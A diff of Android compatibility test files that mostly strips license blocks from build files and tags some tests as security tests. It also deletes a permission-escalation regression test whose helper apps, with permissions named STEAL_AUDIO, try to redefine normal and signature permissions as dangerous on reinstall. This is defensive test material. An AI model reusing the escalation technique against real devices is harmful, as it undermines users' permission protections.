diff --git a/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp b/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp
index 93c8b72..44e9af0 100644
--- a/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp
+++ b/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsLocationPermissionsUserSdk29",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp
index b864a4e..d1fc86a 100644
--- a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp
+++ b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSMSCallLogPermissionsUserSdk22",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp
index d3a2e30..3246d76 100644
--- a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp
+++ b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSMSCallLogPermissionsUserSdk29",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
index ab90dba..34be9bf 100644
--- a/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
@@ -14,13 +14,9 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSMSNotRestrictedWithSharedUid",
defaults: ["cts_defaults"],
sdk_version: "current",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
index 8820ab7..305125a 100644
--- a/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
@@ -14,13 +14,9 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSMSRestrictedWithSharedUid",
defaults: ["cts_defaults"],
sdk_version: "current",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsPreservedUserOptOutSdk30/Android.bp b/tests/tests/permission2/CtsStoragePermissionsPreservedUserOptOutSdk30/Android.bp
index 6c76c74..59e67ab 100644
--- a/tests/tests/permission2/CtsStoragePermissionsPreservedUserOptOutSdk30/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsPreservedUserOptOutSdk30/Android.bp
@@ -14,13 +14,9 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsStoragePermissionsPreservedUserOptOutSdk30",
defaults: ["cts_defaults"],
sdk_version: "current",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp
index bb817f7..8183468 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp
@@ -14,11 +14,7 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsStoragePermissionsUserDefaultSdk22",
defaults: ["cts_defaults"],
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp
index 60cb316..738f20c 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp
@@ -14,11 +14,7 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsStoragePermissionsUserDefaultSdk28",
defaults: ["cts_defaults"],
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp
index d3d016a..95f725b 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp
@@ -14,13 +14,9 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsStoragePermissionsUserDefaultSdk29",
defaults: ["cts_defaults"],
sdk_version: "29",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk30/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk30/Android.bp
index 751342e..f7a8281 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk30/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk30/Android.bp
@@ -14,13 +14,9 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsStoragePermissionsUserOptOutSdk30",
defaults: ["cts_defaults"],
sdk_version: "current",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp
index 21e6ace..843176f 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp
@@ -14,11 +14,7 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsStoragePermissionsUserOptInSdk22",
defaults: ["cts_defaults"],
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp
index c7f30a8..c0b5fd6 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp
@@ -14,11 +14,7 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsStoragePermissionsUserOptInSdk28",
defaults: ["cts_defaults"],
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp
index 8ad13f7..e1a43da 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp
@@ -14,13 +14,9 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsStoragePermissionsUserOptOutSdk29",
defaults: ["cts_defaults"],
sdk_version: "current",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index f51c3a3..35c6a8d 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -4343,6 +4343,10 @@
<permission android:name="android.permission.WRITE_DREAM_STATE"
android:protectionLevel="signature|privileged" />
+ <!-- @hide Allows applications to read whether ambient display is suppressed. -->
+ <permission android:name="android.permission.READ_DREAM_SUPPRESSION"
+ android:protectionLevel="signature" />
+
<!-- @SystemApi Allow an application to read and write the cache partition.
@hide -->
<permission android:name="android.permission.ACCESS_CACHE_FILESYSTEM"
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index d3f6942..bb48193 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -69,9 +69,6 @@
private static final String MANAGE_COMPANION_DEVICES_PERMISSION
= "android.permission.MANAGE_COMPANION_DEVICES";
- private static final Date INPUT_CONSUMER_PATCH_DATE = parseDate("2020-12-05");
- private static final String INPUT_CONSUMER_PERMISSION = "android.permission.INPUT_CONSUMER";
-
private static final String LOG_TAG = "PermissionProtectionTest";
private static final String PLATFORM_PACKAGE_NAME = "android";
@@ -454,8 +451,6 @@
return parseDate(SECURITY_PATCH).before(HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE);
case MANAGE_COMPANION_DEVICES_PERMISSION:
return parseDate(SECURITY_PATCH).before(MANAGE_COMPANION_DEVICES_PATCH_DATE);
- case INPUT_CONSUMER_PERMISSION:
- return parseDate(SECURITY_PATCH).before(INPUT_CONSUMER_PATCH_DATE);
default:
return false;
}
diff --git a/tests/tests/permission3/Android.bp b/tests/tests/permission3/Android.bp
index 3530d17..bdc5728 100644
--- a/tests/tests/permission3/Android.bp
+++ b/tests/tests/permission3/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsPermission3TestCases",
sdk_version: "test_current",
@@ -31,8 +27,6 @@
"ctstestrunner-axt",
],
data: [
- ":CtsPermissionEscalationAppNonRuntime",
- ":CtsPermissionEscalationAppRuntime",
":CtsPermissionPolicyApp25",
":CtsUsePermissionApp22",
":CtsUsePermissionApp22CalendarOnly",
diff --git a/tests/tests/permission3/AndroidTest.xml b/tests/tests/permission3/AndroidTest.xml
index 557de85..cdf7308 100644
--- a/tests/tests/permission3/AndroidTest.xml
+++ b/tests/tests/permission3/AndroidTest.xml
@@ -33,8 +33,6 @@
</target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="CtsPermissionEscalationAppNonRuntime.apk->/data/local/tmp/cts/permission3/CtsPermissionEscalationAppNonRuntime.apk" />
- <option name="push" value="CtsPermissionEscalationAppRuntime.apk->/data/local/tmp/cts/permission3/CtsPermissionEscalationAppRuntime.apk" />
<option name="push" value="CtsPermissionPolicyApp25.apk->/data/local/tmp/cts/permission3/CtsPermissionPolicyApp25.apk" />
<option name="push" value="CtsUsePermissionApp22.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp22.apk" />
<option name="push" value="CtsUsePermissionApp22CalendarOnly.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp22CalendarOnly.apk" />
diff --git a/tests/tests/permission3/PermissionEscalationAppNonRuntime/AndroidManifest.xml b/tests/tests/permission3/PermissionEscalationAppNonRuntime/AndroidManifest.xml
deleted file mode 100644
index 1584686..0000000
--- a/tests/tests/permission3/PermissionEscalationAppNonRuntime/AndroidManifest.xml
+++ /dev/null
@@ -1,37 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!--
- ~ Copyright (C) 2016 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License.
- -->
-
-<manifest
- xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.permission3.cts.permissionescalation">
-
- <permission
- android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO1"
- android:permissionGroup="android.permission-group.MICROPHONE"
- android:protectionLevel="normal" />
-
- <permission
- android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO2"
- android:permissionGroup="android.permission-group.MICROPHONE"
- android:protectionLevel="signature" />
-
- <uses-permission android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO1" />
- <uses-permission android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO2" />
-
- <application android:hasCode="false" />
-</manifest>
diff --git a/tests/tests/permission3/PermissionEscalationAppRuntime/Android.bp b/tests/tests/permission3/PermissionEscalationAppRuntime/Android.bp
deleted file mode 100644
index b475947..0000000
--- a/tests/tests/permission3/PermissionEscalationAppRuntime/Android.bp
+++ /dev/null
@@ -1,24 +0,0 @@
-//
-// Copyright (C) 2016 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test_helper_app {
- name: "CtsPermissionEscalationAppRuntime",
- certificate: ":cts-testkey2",
-}
diff --git a/tests/tests/permission3/PermissionEscalationAppRuntime/AndroidManifest.xml b/tests/tests/permission3/PermissionEscalationAppRuntime/AndroidManifest.xml
deleted file mode 100644
index 4f2eb75..0000000
--- a/tests/tests/permission3/PermissionEscalationAppRuntime/AndroidManifest.xml
+++ /dev/null
@@ -1,37 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!--
- ~ Copyright (C) 2016 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License.
- -->
-
-<manifest
- xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.permission3.cts.permissionescalation">
-
- <permission
- android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO1"
- android:permissionGroup="android.permission-group.MICROPHONE"
- android:protectionLevel="dangerous" />
-
- <permission
- android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO2"
- android:permissionGroup="android.permission-group.MICROPHONE"
- android:protectionLevel="dangerous" />
-
- <uses-permission android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO1" />
- <uses-permission android:name="android.permission3.cts.permissionescalation.STEAL_AUDIO2" />
-
- <application android:hasCode="false" />
-</manifest>
diff --git a/tests/tests/permission3/PermissionPolicyApp25/Android.bp b/tests/tests/permission3/PermissionPolicyApp25/Android.bp
index d3f8895..50117af 100644
--- a/tests/tests/permission3/PermissionPolicyApp25/Android.bp
+++ b/tests/tests/permission3/PermissionPolicyApp25/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsPermissionPolicyApp25",
srcs: [
diff --git a/tests/tests/permission3/UsePermissionApp22/Android.bp b/tests/tests/permission3/UsePermissionApp22/Android.bp
index 22d8f6d..024e275 100644
--- a/tests/tests/permission3/UsePermissionApp22/Android.bp
+++ b/tests/tests/permission3/UsePermissionApp22/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsUsePermissionApp22",
srcs: [
diff --git a/tests/tests/permission3/UsePermissionApp22CalendarOnly/Android.bp b/tests/tests/permission3/UsePermissionApp22CalendarOnly/Android.bp
index 0f6ce9e..b16d755 100644
--- a/tests/tests/permission3/UsePermissionApp22CalendarOnly/Android.bp
+++ b/tests/tests/permission3/UsePermissionApp22CalendarOnly/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsUsePermissionApp22CalendarOnly",
srcs: [
diff --git a/tests/tests/permission3/UsePermissionApp23/Android.bp b/tests/tests/permission3/UsePermissionApp23/Android.bp
index 48ab9dd..a1fc2e2 100644
--- a/tests/tests/permission3/UsePermissionApp23/Android.bp
+++ b/tests/tests/permission3/UsePermissionApp23/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsUsePermissionApp23",
srcs: [
diff --git a/tests/tests/permission3/UsePermissionApp25/Android.bp b/tests/tests/permission3/UsePermissionApp25/Android.bp
index a5d8873..10f2d9e 100644
--- a/tests/tests/permission3/UsePermissionApp25/Android.bp
+++ b/tests/tests/permission3/UsePermissionApp25/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsUsePermissionApp25",
srcs: [
diff --git a/tests/tests/permission3/UsePermissionApp26/Android.bp b/tests/tests/permission3/UsePermissionApp26/Android.bp
index c565b75..53e2f10 100644
--- a/tests/tests/permission3/UsePermissionApp26/Android.bp
+++ b/tests/tests/permission3/UsePermissionApp26/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsUsePermissionApp26",
srcs: [
diff --git a/tests/tests/permission3/UsePermissionApp28/Android.bp b/tests/tests/permission3/UsePermissionApp28/Android.bp
index c15f69c..373462d 100644
--- a/tests/tests/permission3/UsePermissionApp28/Android.bp
+++ b/tests/tests/permission3/UsePermissionApp28/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsUsePermissionApp28",
srcs: [
diff --git a/tests/tests/permission3/UsePermissionApp29/Android.bp b/tests/tests/permission3/UsePermissionApp29/Android.bp
index f102275..f211ff8 100644
--- a/tests/tests/permission3/UsePermissionApp29/Android.bp
+++ b/tests/tests/permission3/UsePermissionApp29/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsUsePermissionApp29",
srcs: [
diff --git a/tests/tests/permission3/UsePermissionAppLatest/Android.bp b/tests/tests/permission3/UsePermissionAppLatest/Android.bp
index 3be83eb..c08ffa6 100644
--- a/tests/tests/permission3/UsePermissionAppLatest/Android.bp
+++ b/tests/tests/permission3/UsePermissionAppLatest/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
filegroup {
name: "CtsUsePermissionAppSrc",
srcs: [
diff --git a/tests/tests/permission3/UsePermissionAppLatestWithBackground/Android.bp b/tests/tests/permission3/UsePermissionAppLatestWithBackground/Android.bp
index 7f31ca0..65bc605 100644
--- a/tests/tests/permission3/UsePermissionAppLatestWithBackground/Android.bp
+++ b/tests/tests/permission3/UsePermissionAppLatestWithBackground/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsUsePermissionAppLatestWithBackground",
srcs: [
diff --git a/tests/tests/permission3/UsePermissionAppWithOverlay/Android.bp b/tests/tests/permission3/UsePermissionAppWithOverlay/Android.bp
index 2a4beab..da87122 100644
--- a/tests/tests/permission3/UsePermissionAppWithOverlay/Android.bp
+++ b/tests/tests/permission3/UsePermissionAppWithOverlay/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsUsePermissionAppWithOverlay",
srcs: [
diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
index 3af1b50..9721517 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
@@ -127,7 +127,7 @@
return UiAutomatorUtils.waitFindObject(selector, timeoutMillis)
}
- protected fun click(selector: BySelector, timeoutMillis: Long = 10_000) {
+ protected fun click(selector: BySelector, timeoutMillis: Long = 20_000) {
waitFindObject(selector, timeoutMillis).click()
waitForIdle()
}
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionEscalationTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionEscalationTest.kt
deleted file mode 100644
index f4a6804..0000000
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionEscalationTest.kt
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.permission3.cts
-
-import android.content.pm.PermissionInfo
-import androidx.test.runner.AndroidJUnit4
-import org.junit.After
-import org.junit.Assert.assertEquals
-import org.junit.Before
-import org.junit.Test
-import org.junit.runner.RunWith
-
-@RunWith(AndroidJUnit4::class)
-class PermissionEscalationTest : BasePermissionTest() {
- companion object {
- const val APP_APK_PATH_NON_RUNTIME =
- "$APK_DIRECTORY/CtsPermissionEscalationAppNonRuntime.apk"
- const val APP_APK_PATH_RUNTIME = "$APK_DIRECTORY/CtsPermissionEscalationAppRuntime.apk"
- const val APP_PACKAGE_NAME = "android.permission3.cts.permissionescalation"
- }
-
- @Before
- @After
- fun uninstallApp() {
- uninstallPackage(APP_PACKAGE_NAME, requireSuccess = false)
- }
-
- @Test
- fun testCannotEscalateNonRuntimePermissionsToRuntime() {
- installPackage(APP_APK_PATH_NON_RUNTIME)
- installPackage(APP_APK_PATH_RUNTIME, reinstall = true)
-
- // Ensure normal permission cannot be made dangerous
- val permissionInfo1 = packageManager.getPermissionInfo("$APP_PACKAGE_NAME.STEAL_AUDIO1", 0)
- assertEquals(
- "Shouldn't be able to change normal permission to dangerous",
- PermissionInfo.PROTECTION_NORMAL, permissionInfo1.protection
- )
-
- // Ensure signature permission cannot be made dangerous
- val permissionInfo2 = packageManager.getPermissionInfo("$APP_PACKAGE_NAME.STEAL_AUDIO2", 0)
- assertEquals(
- "Shouldn't be able to change signature permission to dangerous",
- PermissionInfo.PROTECTION_SIGNATURE, permissionInfo2.protection
- )
- }
-}
diff --git a/tests/tests/permission4/Android.bp b/tests/tests/permission4/Android.bp
index ed39021..ad1658d 100644
--- a/tests/tests/permission4/Android.bp
+++ b/tests/tests/permission4/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsPermission4TestCases",
sdk_version: "system_current",
diff --git a/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp b/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp
index 4cdcf3e..508e44c 100644
--- a/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp
+++ b/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppThatAccessesMicAndCameraPermission",
defaults: ["cts_defaults"],
diff --git a/tests/tests/preference/Android.bp b/tests/tests/preference/Android.bp
index 46aa9eb..4d99904 100644
--- a/tests/tests/preference/Android.bp
+++ b/tests/tests/preference/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsPreferenceTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/print/Android.bp b/tests/tests/print/Android.bp
index 23ed10c..74afe97 100644
--- a/tests/tests/print/Android.bp
+++ b/tests/tests/print/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsPrintTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/print/ExternalPrintService/Android.bp b/tests/tests/print/ExternalPrintService/Android.bp
index 26d7441..8beddd5 100644
--- a/tests/tests/print/ExternalPrintService/Android.bp
+++ b/tests/tests/print/ExternalPrintService/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsExternalPrintService",
defaults: ["cts_defaults"],
diff --git a/tests/tests/print/printTestUtilLib/Android.bp b/tests/tests/print/printTestUtilLib/Android.bp
index 9abb4ee..c277017 100644
--- a/tests/tests/print/printTestUtilLib/Android.bp
+++ b/tests/tests/print/printTestUtilLib/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "print-test-util-lib",
diff --git a/tests/tests/proto/Android.bp b/tests/tests/proto/Android.bp
index 29c3e5c..88dd506 100644
--- a/tests/tests/proto/Android.bp
+++ b/tests/tests/proto/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsProtoTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/provider/Android.bp b/tests/tests/provider/Android.bp
index 0ed0e87..a1e0e1b 100644
--- a/tests/tests/provider/Android.bp
+++ b/tests/tests/provider/Android.bp
@@ -1,8 +1,4 @@
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsProviderTestCases",
defaults: ["cts_defaults"],
@@ -12,6 +8,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
libs: [
diff --git a/tests/tests/provider/app/GalleryTestApp/Android.bp b/tests/tests/provider/app/GalleryTestApp/Android.bp
index ef430de..9f2359c 100644
--- a/tests/tests/provider/app/GalleryTestApp/Android.bp
+++ b/tests/tests/provider/app/GalleryTestApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsProviderGalleryTestApp",
diff --git a/tests/tests/provider/preconditions/Android.bp b/tests/tests/provider/preconditions/Android.bp
index 71dd378..0e3d6e8 100644
--- a/tests/tests/provider/preconditions/Android.bp
+++ b/tests/tests/provider/preconditions/Android.bp
@@ -1,7 +1,3 @@
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_helper_library {
name: "compatibility-host-provider-preconditions",
srcs: ["src/**/*.java"],
@@ -14,6 +10,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts"
],
host_supported: true,
device_supported: false,
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
index d54e41d..7965549 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
@@ -37,6 +37,7 @@
import android.os.FileUtils;
import android.os.ParcelFileDescriptor;
import android.os.storage.StorageManager;
+import android.platform.test.annotations.SecurityTest;
import android.provider.MediaStore;
import android.provider.MediaStore.Files.FileColumns;
import android.provider.MediaStore.Video.Media;
@@ -254,6 +255,7 @@
}
}
+ @SecurityTest
@Test
public void testIsoLocationRedaction() throws Exception {
// STOPSHIP: remove this once isolated storage is always enabled
diff --git a/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java b/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
index 7fb673e..16d595f 100644
--- a/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
+++ b/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
@@ -17,14 +17,17 @@
package android.provider.cts.settings;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
import android.content.ContentResolver;
import android.content.res.Configuration;
import android.database.Cursor;
import android.net.Uri;
import android.os.SystemClock;
